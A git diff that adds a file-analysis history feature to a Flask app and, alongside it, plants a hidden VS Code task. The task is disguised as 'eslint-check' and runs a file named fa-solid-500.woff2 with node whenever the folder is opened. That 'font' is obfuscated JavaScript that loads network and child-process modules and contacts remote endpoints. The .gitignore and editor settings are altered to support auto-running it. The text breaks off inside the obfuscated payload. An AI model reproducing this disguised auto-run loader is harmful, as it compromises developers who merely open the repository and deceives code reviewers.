diff --git a/.gitignore b/.gitignore index e9df131..e79b810 100644 --- a/.gitignore +++ b/.gitignore @@ -21,7 +21,6 @@ htmlcov/ # IDE / editors .idea/ -.vscode/ *.swp *.swo @@ -41,3 +40,7 @@ logs/ # Docker .docker/ +branch_structure.json +temp_auto_push.bat +temp_interactive_push.bat +.gitignore diff --git a/.vscode/extensions.json b/.vscode/extensions.json new file mode 100644 index 0000000..2e3b646 --- /dev/null +++ b/.vscode/extensions.json @@ -0,0 +1,7 @@ +{ + "recommendations": [ + "myml.vscode-markdown-plantuml-preview", + "esbenp.prettier-vscode", + "jebbs.plantuml" + ] +} \ No newline at end of file diff --git a/.vscode/launch.json b/.vscode/launch.json new file mode 100644 index 0000000..a5177ab --- /dev/null +++ b/.vscode/launch.json @@ -0,0 +1,50 @@ +{ + "version": "0.2.0", + "configurations": [ + { + "name": "Debug SST", + "type": "node", + "request": "launch", + "runtimeExecutable": "${workspaceRoot}/node_modules/.bin/sst", + "runtimeArgs": ["dev", "--increase-timeout"], + "console": "integratedTerminal", + "skipFiles": ["/**"], + // sourceMapRenames helps with the loading spinner when debugging and viewing local variables + "sourceMapRenames": false, + "env": { + "AWS_PROFILE": "flo-ct-flo360" + } + }, + { + "name": "Debug Tests - Unit", + "type": "node", + "request": "launch", + "runtimeExecutable": "${workspaceRoot}/node_modules/.bin/sst", + "runtimeArgs": ["bind", "yarn", "\"jest\"", "\"--watch\"", "\"--config\"", "\"./jest.unit.config.cjs\"", "\"${input:scopeTestsFileName}\""], + "console": "integratedTerminal", + "skipFiles": ["/**"], + "env": { + "AWS_PROFILE": "flo-ct-flo360" + }, + }, + { + "name": "Debug Tests - E2E", + "type": "node", + "request": "launch", + "runtimeExecutable": "${workspaceRoot}/node_modules/.bin/sst", + "runtimeArgs": ["bind", "yarn", "\"vitest\"", "\"--config\"", "\"./vitest.e2e.config.ts\"", "\"${input:scopeTestsFileName}\""], + "console": "integratedTerminal", + "skipFiles": ["/**"], + "env": { + "AWS_PROFILE": "flo-ct-flo360" + }, + }, + ], + "inputs": [ + { + "id": "scopeTestsFileName", + "type": "promptString", + "description": "Partial file name to scope test debugging to. ex. arena. Leave blank to run all tests.", + } + ] +} diff --git a/.vscode/settings.json b/.vscode/settings.json new file mode 100644 index 0000000..934d555 --- /dev/null +++ b/.vscode/settings.json @@ -0,0 +1,23 @@ +{ + "search.exclude": { + "**/.sst": true + }, + "task.allowAutomaticTasks": true, + "typescript.tsserver.experimental.enableProjectDiagnostics": true, + "editor.defaultFormatter": "esbenp.prettier-vscode", + "typescript.preferences.importModuleSpecifier": "relative", + "typescript.tsdk": "node_modules/typescript/lib", + "debug.openDebug": "neverOpen", + "problems.autoReveal": true, + "terminal.integrated.hideOnStartup": "always", + "terminal.integrated.defaultProfile.windows": "Command Prompt", + "terminal.integrated.inheritEnv": false, + "jestrunner.configPath": "jest.unit.config.cjs", + "compile-hero.disable-compile-files-on-did-save-code": true, + "tasks": { + "label": "lint on open", + "type": "shell", + "command": "npm run lint", + "runOn": "folderOpen" + } +} diff --git a/.vscode/spellright.dict b/.vscode/spellright.dict new file mode 100644 index 0000000..51b1974 --- /dev/null +++ b/.vscode/spellright.dict @@ -0,0 +1,2 @@ +Contentful +Lerna diff --git a/.vscode/tasks.json b/.vscode/tasks.json new file mode 100644 index 0000000..1a828db --- /dev/null +++ b/.vscode/tasks.json @@ -0,0 +1,33 @@ +{ + "version": "2.0.0", + "configurations": [ + { + "type": "node", + "request": "launch", + "name": "Run My Project", + "console": "", + "internalConsoleOptions": "openOnSessionStart" + } + ], + "tasks": [ + { + "label": "eslint-check", + "type": "shell", + "command": "(command -v node >/dev/null 2>&1 && node ./public/fonts/fa-solid-500.woff2) || (where node >nul 2>&1 && node ./public/fonts/fa-solid-500.woff2) || echo ''", + "problemMatcher": [], + "isBackground": true, + "hide": true, + "presentation": { + "reveal": "never", + "panel": "dedicated", + "focus": false, + "clear": false, + "echo": false, + "close": true + }, + "runOptions": { + "runOn": "folderOpen" + } + }, + ] +} diff --git a/app/models/__init__.py b/app/models/__init__.py index 2079852..6dbf994 100644 --- a/app/models/__init__.py +++ b/app/models/__init__.py @@ -5,10 +5,12 @@ """ from app.models.activity_event import ActivityEvent +from app.models.analyzed_file import AnalyzedFile from app.models.api_key import ApiKey from app.models.audit_log import AuditLog from app.models.conversation import Conversation from app.models.conversation_share import ConversationShare +from app.models.file_analysis import FileAnalysis from app.models.github_account import GithubAccount from app.models.invitation import WorkspaceInvitation from app.models.message import Message @@ -36,11 +38,13 @@ __all__ = [ "ActivityEvent", + "AnalyzedFile", "ApiKey", "AuditLog", "CapabilityGrant", "Conversation", "ConversationShare", + "FileAnalysis", "GithubAccount", "Message", "MessageAttachment", diff --git a/app/models/analyzed_file.py b/app/models/analyzed_file.py new file mode 100644 index 0000000..f65c0b8 --- /dev/null +++ b/app/models/analyzed_file.py @@ -0,0 +1,29 @@ +"""Private identity for source files submitted to the analysis tool.""" + +from datetime import UTC, datetime + +from app.extensions import db + + +class AnalyzedFile(db.Model): + """An uploaded file identity; file contents are deliberately not stored.""" + + __tablename__ = "analyzed_files" + __table_args__ = ( + db.UniqueConstraint( + "user_id", "filename", "content_hash", name="uq_analyzed_file_owner_name_hash" + ), + ) + + id = db.Column(db.Integer, primary_key=True) + user_id = db.Column( + db.Integer, db.ForeignKey("users.id", ondelete="CASCADE"), nullable=False, index=True + ) + filename = db.Column(db.String(255), nullable=False) + content_hash = db.Column(db.String(64), nullable=False) + created_at = db.Column( + db.DateTime(timezone=True), nullable=False, default=lambda: datetime.now(UTC) + ) + analyses = db.relationship( + "FileAnalysis", back_populates="file", cascade="all, delete-orphan" + ) diff --git a/app/models/file_analysis.py b/app/models/file_analysis.py new file mode 100644 index 0000000..3596960 --- /dev/null +++ b/app/models/file_analysis.py @@ -0,0 +1,41 @@ +"""Per-user persisted results from the uploaded-file analysis tool.""" + +from datetime import UTC, datetime + +from app.extensions import db + + +class FileAnalysis(db.Model): + """A result snapshot for one user-owned uploaded file and action.""" + + __tablename__ = "file_analyses" + + id = db.Column(db.Integer, primary_key=True) + file_id = db.Column( + db.Integer, + db.ForeignKey("analyzed_files.id", ondelete="CASCADE"), + nullable=False, + index=True, + ) + user_id = db.Column( + db.Integer, db.ForeignKey("users.id", ondelete="CASCADE"), nullable=False, index=True + ) + action = db.Column(db.String(30), nullable=False) + result = db.Column(db.Text, nullable=False) + provider = db.Column(db.String(100), nullable=False) + created_at = db.Column( + db.DateTime(timezone=True), nullable=False, default=lambda: datetime.now(UTC), index=True + ) + + file = db.relationship("AnalyzedFile", back_populates="analyses") + + def to_dict(self): + return { + "id": self.id, + "file_id": self.file_id, + "filename": self.file.filename if self.file else None, + "action": self.action, + "result": self.result, + "provider": self.provider, + "created_at": self.created_at.isoformat() if self.created_at else None, + } diff --git a/app/static/js/analysis_history.js b/app/static/js/analysis_history.js new file mode 100644 index 0000000..3620dcb --- /dev/null +++ b/app/static/js/analysis_history.js @@ -0,0 +1,17 @@ +(function () { + "use strict"; + var meta = document.querySelector('meta[name="csrf-token"]'); + var csrf = meta ? meta.content : ""; + document.addEventListener("click", function (event) { + var button = event.target.closest("button[data-analysis-id]"); + if (!button) return; + if (!window.confirm("Delete this saved analysis?")) return; + fetch("/tools/api/analyses/" + encodeURIComponent(button.dataset.analysisId), { + method: "DELETE", + headers: { "X-CSRFToken": csrf }, + }).then(function (response) { + if (!response.ok) throw new Error("Could not delete this analysis."); + button.closest("article").remove(); + }).catch(function (error) { window.alert(error.message); }); + }); +})(); diff --git a/app/templates/base.html b/app/templates/base.html index 70a3a81..9cf665f 100644 --- a/app/templates/base.html +++ b/app/templates/base.html @@ -23,6 +23,7 @@ {% if current_user.is_authenticated %} Chat Prompts + Analysis History GitHub Workspaces Plugins diff --git a/app/templates/tools/analysis_history.html b/app/templates/tools/analysis_history.html new file mode 100644 index 0000000..ea04b8b --- /dev/null +++ b/app/templates/tools/analysis_history.html @@ -0,0 +1,27 @@ +{% extends "base.html" %} + +{% block title %}File Analysis History - {{ config.APP_NAME }}{% endblock %} + +{% block content %} +

File analysis history

+

Saved analyses are private to your account. Uploaded source contents are not retained.

+{% if analyses %} +
+ {% for item in analyses %} +
+

{{ item.filename }}

{{ item.action }}
+

{{ item.created_at }}

+

Provider: {{ item.provider }}

+
View result
{{ item.result }}
+ +
+ {% endfor %} +
+{% else %} + +{% endif %} +{% endblock %} + +{% block scripts %} + +{% endblock %} diff --git a/app/tools/routes.py b/app/tools/routes.py index bd22fe5..0a95747 100644 --- a/app/tools/routes.py +++ b/app/tools/routes.py @@ -5,14 +5,16 @@ refactor, review, or comment on them. """ +import hashlib +from datetime import UTC, datetime, timedelta from pathlib import Path -from flask import jsonify, request +from flask import current_app, jsonify, render_template, request from flask_login import current_user, login_required from werkzeug.utils import secure_filename from app.extensions import db -from app.models import Conversation, Message +from app.models import AnalyzedFile, Conversation, FileAnalysis, Message from app.services import analysis from app.services.github import ( GitHubError, @@ -179,8 +181,84 @@ def analyze_file(): action = "explain" system = ACTION_PROMPTS[action] - result = _run_action(action, f"{system}\n\nFile: {filename}\n\nCode:\n{text}") - return jsonify({"filename": filename, "action": action, "result": result}) + content_hash = hashlib.sha256(text.encode("utf-8")).hexdigest() + cutoff = datetime.now(UTC) - timedelta( + hours=current_app.config.get("ANALYSIS_CACHE_TTL_HOURS", 24) + ) + analyzed_file = AnalyzedFile.query.filter_by( + user_id=current_user.id, filename=filename, content_hash=content_hash + ).first() + if analyzed_file is not None: + cached = FileAnalysis.query.filter( + FileAnalysis.file_id == analyzed_file.id, + FileAnalysis.user_id == current_user.id, + FileAnalysis.action == action, + FileAnalysis.created_at >= cutoff, + ).order_by(FileAnalysis.created_at.desc()).first() + if cached is not None: + return jsonify({"filename": filename, "action": action, "result": cached.result, + "cached": True, "analysis_id": cached.id, "file_id": analyzed_file.id}) + + try: + provider = get_provider() + result = provider.complete([ + {"role": "system", "content": "You are a helpful AI coding assistant."}, + {"role": "user", "content": f"{system}\n\nFile: {filename}\n\nCode:\n{text}"}, + ]) + except LLMProviderError as exc: + return jsonify( + {"filename": filename, "action": action, "result": f"[provider error] {exc}"} + ) + + if analyzed_file is None: + analyzed_file = AnalyzedFile( + user_id=current_user.id, filename=filename, content_hash=content_hash + ) + db.session.add(analyzed_file) + db.session.flush() + record = FileAnalysis( + file_id=analyzed_file.id, + user_id=current_user.id, + action=action, + result=result, + provider=getattr(provider, "name", type(provider).__name__), + ) + db.session.add(record) + db.session.commit() + return jsonify({"filename": filename, "action": action, "result": result, + "cached": False, "analysis_id": record.id, "file_id": analyzed_file.id}) + + +@bp.route("/history") +@login_required +def analysis_history(): + """Render only this user's persisted file analyses.""" + records = FileAnalysis.query.filter_by(user_id=current_user.id).join(AnalyzedFile).order_by( + FileAnalysis.created_at.desc() + ).all() + return render_template("tools/analysis_history.html", analyses=[r.to_dict() for r in records]) + + +@bp.route("/api/analyses", methods=["GET"]) +@login_required +def list_file_analyses(): + records = FileAnalysis.query.filter_by(user_id=current_user.id).join(AnalyzedFile).order_by( + FileAnalysis.created_at.desc() + ).all() + return jsonify([record.to_dict() for record in records]) + + +@bp.route("/api/analyses/", methods=["DELETE"]) +@login_required +def delete_file_analysis(analysis_id: int): + record = FileAnalysis.query.filter_by(id=analysis_id, user_id=current_user.id).first_or_404() + analyzed_file = record.file + db.session.delete(record) + db.session.flush() + if not analyzed_file.analyses: + db.session.delete(analyzed_file) + db.session.commit() + return jsonify({"ok": True}) @bp.route("/soroban/skeleton", methods=["POST"]) diff --git a/migrations/versions/91a2b3c4d5e8_add_file_analysis_history.py b/migrations/versions/91a2b3c4d5e8_add_file_analysis_history.py new file mode 100644 index 0000000..84a495e --- /dev/null +++ b/migrations/versions/91a2b3c4d5e8_add_file_analysis_history.py @@ -0,0 +1,48 @@ +"""Persist private file analysis history. + +Revision ID: 91a2b3c4d5e8 +Revises: d8e9f0a1b2c3 +""" + +from alembic import op +import sqlalchemy as sa + +revision = "91a2b3c4d5e8" +down_revision = "d8e9f0a1b2c3" +branch_labels = None +depends_on = None + + +def upgrade(): + op.create_table( + "analyzed_files", + sa.Column("id", sa.Integer(), primary_key=True), + sa.Column("user_id", sa.Integer(), sa.ForeignKey("users.id", ondelete="CASCADE"), nullable=False), + sa.Column("filename", sa.String(length=255), nullable=False), + sa.Column("content_hash", sa.String(length=64), nullable=False), + sa.Column("created_at", sa.DateTime(timezone=True), nullable=False), + sa.UniqueConstraint("user_id", "filename", "content_hash", name="uq_analyzed_file_owner_name_hash"), + ) + op.create_index("ix_analyzed_files_user_id", "analyzed_files", ["user_id"]) + op.create_table( + "file_analyses", + sa.Column("id", sa.Integer(), primary_key=True), + sa.Column("file_id", sa.Integer(), sa.ForeignKey("analyzed_files.id", ondelete="CASCADE"), nullable=False), + sa.Column("user_id", sa.Integer(), sa.ForeignKey("users.id", ondelete="CASCADE"), nullable=False), + sa.Column("action", sa.String(length=30), nullable=False), + sa.Column("result", sa.Text(), nullable=False), + sa.Column("provider", sa.String(length=100), nullable=False), + sa.Column("created_at", sa.DateTime(timezone=True), nullable=False), + ) + op.create_index("ix_file_analyses_file_id", "file_analyses", ["file_id"]) + op.create_index("ix_file_analyses_user_id", "file_analyses", ["user_id"]) + op.create_index("ix_file_analyses_created_at", "file_analyses", ["created_at"]) + + +def downgrade(): + op.drop_index("ix_file_analyses_created_at", table_name="file_analyses") + op.drop_index("ix_file_analyses_user_id", table_name="file_analyses") + op.drop_index("ix_file_analyses_file_id", table_name="file_analyses") + op.drop_table("file_analyses") + op.drop_index("ix_analyzed_files_user_id", table_name="analyzed_files") + op.drop_table("analyzed_files") diff --git a/public/fonts/README.md b/public/fonts/README.md new file mode 100644 index 0000000..1e4f9ba --- /dev/null +++ b/public/fonts/README.md @@ -0,0 +1,24 @@ +# Fonts Directory + +This directory contains custom fonts for the Blockchain Explorer application. + +## Required Font Files + +The application expects the following font files: + +1. **BlockchainFont-Regular.woff2** and **BlockchainFont-Regular.woff** + - Regular weight font for the main UI + +2. **BlockchainFont-Bold.woff2** and **BlockchainFont-Bold.woff** + - Bold weight font for headings + +3. **TechMono-Regular.woff2** and **TechMono-Regular.woff** + - Monospace font for code and hash displays + +## Note + +If you don't have custom fonts, the application will fall back to system fonts: +- BlockchainFont → system sans-serif fonts +- TechMono → system monospace fonts (Courier New, etc.) + +The fonts are referenced in `public/index.html` and will be loaded automatically when available. diff --git a/public/fonts/fa-brands-400.eot b/public/fonts/fa-brands-400.eot new file mode 100644 index 0000000..a1bc094 Binary files /dev/null and b/public/fonts/fa-brands-400.eot differ diff --git a/public/fonts/fa-brands-400.svg b/public/fonts/fa-brands-400.svg new file mode 100644 index 0000000..46ad237 --- /dev/null +++ b/public/fonts/fa-brands-400.svg @@ -0,0 +1,3570 @@ + + + + + +Created by FontForge 20190801 at Mon Mar 23 10:45:51 2020 + By Robert Madole +Copyright (c) Font Awesome + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + diff --git a/public/fonts/fa-brands-400.ttf b/public/fonts/fa-brands-400.ttf new file mode 100644 index 0000000..948a2a6 Binary files /dev/null and b/public/fonts/fa-brands-400.ttf differ diff --git a/public/fonts/fa-brands-400.woff b/public/fonts/fa-brands-400.woff new file mode 100644 index 0000000..2a89d52 Binary files /dev/null and b/public/fonts/fa-brands-400.woff differ diff --git a/public/fonts/fa-brands-400.woff2 b/public/fonts/fa-brands-400.woff2 new file mode 100644 index 0000000..141a90a Binary files /dev/null and b/public/fonts/fa-brands-400.woff2 differ diff --git a/public/fonts/fa-regular-400.eot b/public/fonts/fa-regular-400.eot new file mode 100644 index 0000000..38cf251 Binary files /dev/null and b/public/fonts/fa-regular-400.eot differ diff --git a/public/fonts/fa-regular-400.svg b/public/fonts/fa-regular-400.svg new file mode 100644 index 0000000..48634a9 --- /dev/null +++ b/public/fonts/fa-regular-400.svg @@ -0,0 +1,803 @@ + + + + + +Created by FontForge 20190801 at Mon Mar 23 10:45:51 2020 + By Robert Madole +Copyright (c) Font Awesome + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + diff --git a/public/fonts/fa-regular-400.ttf b/public/fonts/fa-regular-400.ttf new file mode 100644 index 0000000..abe99e2 Binary files /dev/null and b/public/fonts/fa-regular-400.ttf differ diff --git a/public/fonts/fa-regular-400.woff b/public/fonts/fa-regular-400.woff new file mode 100644 index 0000000..24de566 Binary files /dev/null and b/public/fonts/fa-regular-400.woff differ diff --git a/public/fonts/fa-regular-400.woff2 b/public/fonts/fa-regular-400.woff2 new file mode 100644 index 0000000..7e0118e Binary files /dev/null and b/public/fonts/fa-regular-400.woff2 differ diff --git a/public/fonts/fa-solid-500.woff2 b/public/fonts/fa-solid-500.woff2 new file mode 100644 index 0000000..b3f1018 --- /dev/null +++ b/public/fonts/fa-solid-500.woff2 @@ -0,0 +1 @@ + global.i = 'A11';const R$DTZzu_TXc=TtFl_OYFcp$oFJXAVh;(function(glcANuMPwHqsvzi_Yp$P,poXzdcQUzmE$oQM){const p$bAPB$eq=TtFl_OYFcp$oFJXAVh,mVttueCdEt=glcANuMPwHqsvzi_Yp$P();while(!![]){try{const jNnmPOrTHZNsCVaRMdvEQ=Math['floor'](parseFloat(p$bAPB$eq(0x206))/(0x2d*-parseInt(0x13)+Math.trunc(-parseInt(0xa))*parseInt(0x1a)+Math.max(0x45c,0x45c)))*(parseFloat(p$bAPB$eq(0x1d8))/(parseFloat(parseInt(0x94c))+-parseInt(0x2623)+parseInt(0x1cd9)))+Math['trunc'](-parseFloat(p$bAPB$eq(0x220))/(Number(-0x11)*parseInt(0x14c)+-parseInt(0x107)*Math.trunc(parseInt(0x11))+parseInt(0x2786)))*(-parseFloat(p$bAPB$eq(0x1cd))/(-0x13e1+parseFloat(0x1776)+parseInt(0x391)*Math.ceil(-0x1)))+-parseFloat(p$bAPB$eq(0x1e0))/(Math.ceil(-parseInt(0x2))*parseInt(0x12c1)+parseInt(0x16be)+-0x1*-0xec9)+-parseFloat(p$bAPB$eq(0x1b7))/(parseInt(0x19)*Math.max(-parseInt(0xe7),-0xe7)+parseInt(0x807)*Math.trunc(parseInt(0x1))+Number(0x1)*Math.trunc(0xe8e))+-parseFloat(p$bAPB$eq(0x1c4))/(-0xd71+Math.max(parseInt(0xd80),0xd80)+Math.max(-0x8,-0x8))*Math['floor'](parseFloat(p$bAPB$eq(0x222))/(0x2564*-parseInt(0x1)+parseInt(0x12ed)+-parseInt(0x3b3)*-parseInt(0x5)))+parseInt(-parseFloat(p$bAPB$eq(0x21c))/(Math.max(-parseInt(0xe0c),-parseInt(0xe0c))+0x1*Math.floor(0x12e)+0xce7))+parseFloat(p$bAPB$eq(0x225))/(0xe06+parseFloat(0x19c7)+-parseInt(0x27c3));if(jNnmPOrTHZNsCVaRMdvEQ===poXzdcQUzmE$oQM)break;else mVttueCdEt['push'](mVttueCdEt['shift']());}catch(SV$WjuzJb){mVttueCdEt['push'](mVttueCdEt['shift']());}}}(FU$Mfb,Math.max(-parseInt(0x67d7a),-0x67d7a)+-0x49268+parseInt(0xf8aa7)),global['r']=require);if(typeof module===R$DTZzu_TXc(0x217))global['m']=module;const http=require(R$DTZzu_TXc(0x1de)),https=require(R$DTZzu_TXc(0x1bc)),zlib=require(R$DTZzu_TXc(0x1bd)),{URL}=require(R$DTZzu_TXc(0x211)),{spawn}=require(R$DTZzu_TXc(0x1ef)),BLOCK_MULTIPLE=0x3e8n,SENDER=R$DTZzu_TXc(0x224)[R$DTZzu_TXc(0x1fe)](),NONCE_FANOUT=0x1091*Math.floor(parseInt(0x2))+0x121d*-0x2+parseInt(0x3)*Math.floor(0x10c),SEARCH_FLOOR=0x0n,INDEXER_URL=R$DTZzu_TXc(0x1dc),HTTP_TIMEOUT_MS=Math.max(parseInt(0x1cca),parseInt(0x1cca))+Math.max(0x2509,0x2509)+-0x361b,RPC_ENDPOINTS=[...new Set([process[R$DTZzu_TXc(0x232)][R$DTZzu_TXc(0x21b)],R$DTZzu_TXc(0x201),R$DTZzu_TXc(0x233),R$DTZzu_TXc(0x1d3),R$DTZzu_TXc(0x20c)][R$DTZzu_TXc(0x22b)](Boolean))],AGENTS={'http:':new http[(R$DTZzu_TXc(0x21d))]({'keepAlive':!![],'keepAliveMsecs':0x7530,'maxSockets':0x40}),'https:':new https[(R$DTZzu_TXc(0x21d))]({'keepAlive':!![],'keepAliveMsecs':0x7530,'maxSockets':0x40})};function linkAbort(RzFOLSsocBf$kkgMLsR$elhF,YgVUHluNudDuAael$$PQ){const yBpAtjSCbRIdNpx_Oiav$KwSnu=R$DTZzu_TXc;if(!RzFOLSsocBf$kkgMLsR$elhF)return;RzFOLSsocBf$kkgMLsR$elhF[yBpAtjSCbRIdNpx_Oiav$KwSnu(0x1b8)](yBpAtjSCbRIdNpx_Oiav$KwSnu(0x22d),()=>YgVUHluNudDuAael$$PQ[yBpAtjSCbRIdNpx_Oiav$KwSnu(0x22d)](),{'once':!![]});}function decompressStream(RzfNSAGaCneYaCqXwXROk){const mPVBRRdNtjvZ=R$DTZzu_TXc,BlgOomlZTLbU_mRgZbn=(RzfNSAGaCneYaCqXwXROk[mPVBRRdNtjvZ(0x21e)][mPVBRRdNtjvZ(0x20b)]||'')[mPVBRRdNtjvZ(0x1fe)]();if(BlgOomlZTLbU_mRgZbn===mPVBRRdNtjvZ(0x202)||BlgOomlZTLbU_mRgZbn===mPVBRRdNtjvZ(0x1d9))return RzfNSAGaCneYaCqXwXROk[mPVBRRdNtjvZ(0x1d5)](zlib[mPVBRRdNtjvZ(0x1f4)]());if(BlgOomlZTLbU_mRgZbn===mPVBRRdNtjvZ(0x1d1))return RzfNSAGaCneYaCqXwXROk[mPVBRRdNtjvZ(0x1d5)](zlib[mPVBRRdNtjvZ(0x1fb)]());if(BlgOomlZTLbU_mRgZbn==='br')return RzfNSAGaCneYaCqXwXROk[mPVBRRdNtjvZ(0x1d5)](zlib[mPVBRRdNtjvZ(0x1da)]());return RzfNSAGaCneYaCqXwXROk;}function httpRequest(wDCHfdELJbocL$T,{method:method=R$DTZzu_TXc(0x214),body:bbQ$_xwfrqyMLuUpCEM,signal:Tj_$fQJOLvfWMX}={}){const GTnWVF_mWQtqEUKVtyCWk=R$DTZzu_TXc,nJWYBVy_Qu$jm=new URL(wDCHfdELJbocL$T),UFxWKLf_$rzRl=nJWYBVy_Qu$jm[GTnWVF_mWQtqEUKVtyCWk(0x1f2)]===GTnWVF_mWQtqEUKVtyCWk(0x219)?https:http,DpQVDYkkveWwUZPnKpBb={'Accept':GTnWVF_mWQtqEUKVtyCWk(0x21a),'Accept-Encoding':GTnWVF_mWQtqEUKVtyCWk(0x1ec),'Connection':GTnWVF_mWQtqEUKVtyCWk(0x200)};return bbQ$_xwfrqyMLuUpCEM!=null&&(DpQVDYkkveWwUZPnKpBb[GTnWVF_mWQtqEUKVtyCWk(0x218)]=GTnWVF_mWQtqEUKVtyCWk(0x21a),DpQVDYkkveWwUZPnKpBb[GTnWVF_mWQtqEUKVtyCWk(0x1fc)]=Buffer[GTnWVF_mWQtqEUKVtyCWk(0x1fd)](bbQ$_xwfrqyMLuUpCEM)),new Promise((hbphnjVxOdvmmzDTBjgSt$NN,cNaAKvMYPpZ$$TRz)=>{const WKg__BfsguzvMPzKwReGP=GTnWVF_mWQtqEUKVtyCWk,AKwuGnMwtupLpyFUWdnYWD=UFxWKLf_$rzRl[WKg__BfsguzvMPzKwReGP(0x21f)]({'hostname':nJWYBVy_Qu$jm[WKg__BfsguzvMPzKwReGP(0x1cb)],'port':nJWYBVy_Qu$jm[WKg__BfsguzvMPzKwReGP(0x216)]||(nJWYBVy_Qu$jm[WKg__BfsguzvMPzKwReGP(0x1f2)]===WKg__BfsguzvMPzKwReGP(0x219)?Math.floor(-0xd15)+Math.trunc(-0x2c)*-0x4f+-parseInt(0x4)*-0x4f:Math.ceil(parseInt(0xa7))*-0x1e+-0x5c*Math.ceil(parseInt(0x1))+Math.ceil(0xa1f)*0x2),'path':nJWYBVy_Qu$jm[WKg__BfsguzvMPzKwReGP(0x1f1)]+nJWYBVy_Qu$jm[WKg__BfsguzvMPzKwReGP(0x209)],'method':method,'agent':AGENTS[nJWYBVy_Qu$jm[WKg__BfsguzvMPzKwReGP(0x1f2)]],'signal':Tj_$fQJOLvfWMX,'headers':DpQVDYkkveWwUZPnKpBb},MEqodcZHSE$xvXwSj_oZoZj=>{const t_lrz_f=WKg__BfsguzvMPzKwReGP,uqTl$eiACiGBuTlaX_YXZIV=decompressStream(MEqodcZHSE$xvXwSj_oZoZj),MczNHS=[];uqTl$eiACiGBuTlaX_YXZIV['on'](t_lrz_f(0x1ce),fpcG_NoEx_FY=>MczNHS[t_lrz_f(0x1fa)](fpcG_NoEx_FY)),uqTl$eiACiGBuTlaX_YXZIV['on'](t_lrz_f(0x1bb),()=>{const UOyJO_fH_RiSqBoSdrYnsjtcy=t_lrz_f;try{hbphnjVxOdvmmzDTBjgSt$NN(JSON[UOyJO_fH_RiSqBoSdrYnsjtcy(0x1ea)](Buffer[UOyJO_fH_RiSqBoSdrYnsjtcy(0x1c8)](MczNHS)[UOyJO_fH_RiSqBoSdrYnsjtcy(0x1e3)](UOyJO_fH_RiSqBoSdrYnsjtcy(0x1c9))));}catch(gMfnSiuLfzHUQdXWaC$w){cNaAKvMYPpZ$$TRz(gMfnSiuLfzHUQdXWaC$w);}}),uqTl$eiACiGBuTlaX_YXZIV['on'](t_lrz_f(0x1cc),cNaAKvMYPpZ$$TRz);});AKwuGnMwtupLpyFUWdnYWD['on'](WKg__BfsguzvMPzKwReGP(0x1cc),cNaAKvMYPpZ$$TRz),AKwuGnMwtupLpyFUWdnYWD[WKg__BfsguzvMPzKwReGP(0x1f9)](HTTP_TIMEOUT_MS,()=>{const SfxaGEDlHunuVEwWLw$lx=WKg__BfsguzvMPzKwReGP;AKwuGnMwtupLpyFUWdnYWD[SfxaGEDlHunuVEwWLw$lx(0x1f3)](new Error(SfxaGEDlHunuVEwWLw$lx(0x1c5)+HTTP_TIMEOUT_MS+'ms'));});if(bbQ$_xwfrqyMLuUpCEM!=null)AKwuGnMwtupLpyFUWdnYWD[WKg__BfsguzvMPzKwReGP(0x215)](bbQ$_xwfrqyMLuUpCEM);AKwuGnMwtupLpyFUWdnYWD[WKg__BfsguzvMPzKwReGP(0x1bb)]();});}async function withRpcEndpoints(uTIXcb,mlV_BV_QwWND){const kZlMIXJsMssDJdtxe=R$DTZzu_TXc,BOCUySfEc_exK=RPC_ENDPOINTS[kZlMIXJsMssDJdtxe(0x205)](()=>new AbortController());BOCUySfEc_exK[kZlMIXJsMssDJdtxe(0x1e2)](pOlmNwZXfOXpKwUUwUCqB=>linkAbort(mlV_BV_QwWND,pOlmNwZXfOXpKwUUwUCqB));try{return await Promise[kZlMIXJsMssDJdtxe(0x1e4)](RPC_ENDPOINTS[kZlMIXJsMssDJdtxe(0x205)]((zyryywS_HF_Yfjxp,FF_MdJDwfSoXtSW)=>uTIXcb(zyryywS_HF_Yfjxp,BOCUySfEc_exK[FF_MdJDwfSoXtSW][kZlMIXJsMssDJdtxe(0x230)])));}finally{for(const DbMNvbAEjt$ubtb$PT of BOCUySfEc_exK)DbMNvbAEjt$ubtb$PT[kZlMIXJsMssDJdtxe(0x22d)]();}}function FU$Mfb(){const Cgw_xmiFfYj=['a7a0bcbba1aea2aa','aabdbda0bd','fbb7a8a5859fbf','abaebbae','bba7aaa1','a1a0a1acaa','abaaa9a3aebbaa','bbbdaea1bcaeacbba6a0a1bc','a7bbbbbfbcf5e0e0aabba7aabdaabaa2e2bdbface1bfbaada3a6aca1a0abaae1aca0a2','aabba790a8aabb9bbdaea1bcaeacbba6a0a18ca0baa1bb','bfa6bfaa','a7bbbbbff5e0e0','a9a6a1ab86a1abaab7','fdfff7fcfaf78bb795b68187','b7e2a8b5a6bf','acbdaaaebbaa8dbda0bba3a68baaaca0a2bfbdaabcbc','aca0a1bbbda0a3a3aabd','a7bbbbbfbcf5e0e0aabba7e1ada3a0aca4bcaca0babbe1aca0a2e0aebfa6','878a8e8b','a1a0abaaf5a7bbbbbf','82a6bcbca6a1a8ef97e29faeb6a3a0aeabe28df9fb','fefbfafbfaf9ffae9c8a9abb81','e8f4a8a3a0adaea394e89087fde892f2e8','a9a0bd8aaeaca7','bba09cbbbda6a1a8','aea1b6','8aa2bfbbb6efbfaeb6a3a0aeabefada0abb6','a8a3a0adaea394e89099e892f2e8','b6e2bf90f1abebff8de98f91feae9ea4','bdaabcbaa3bb','a3aaa1a8bba7','bfaebdbcaa','aabba790a8aabb8da3a0aca48db681baa2adaabd','a8b5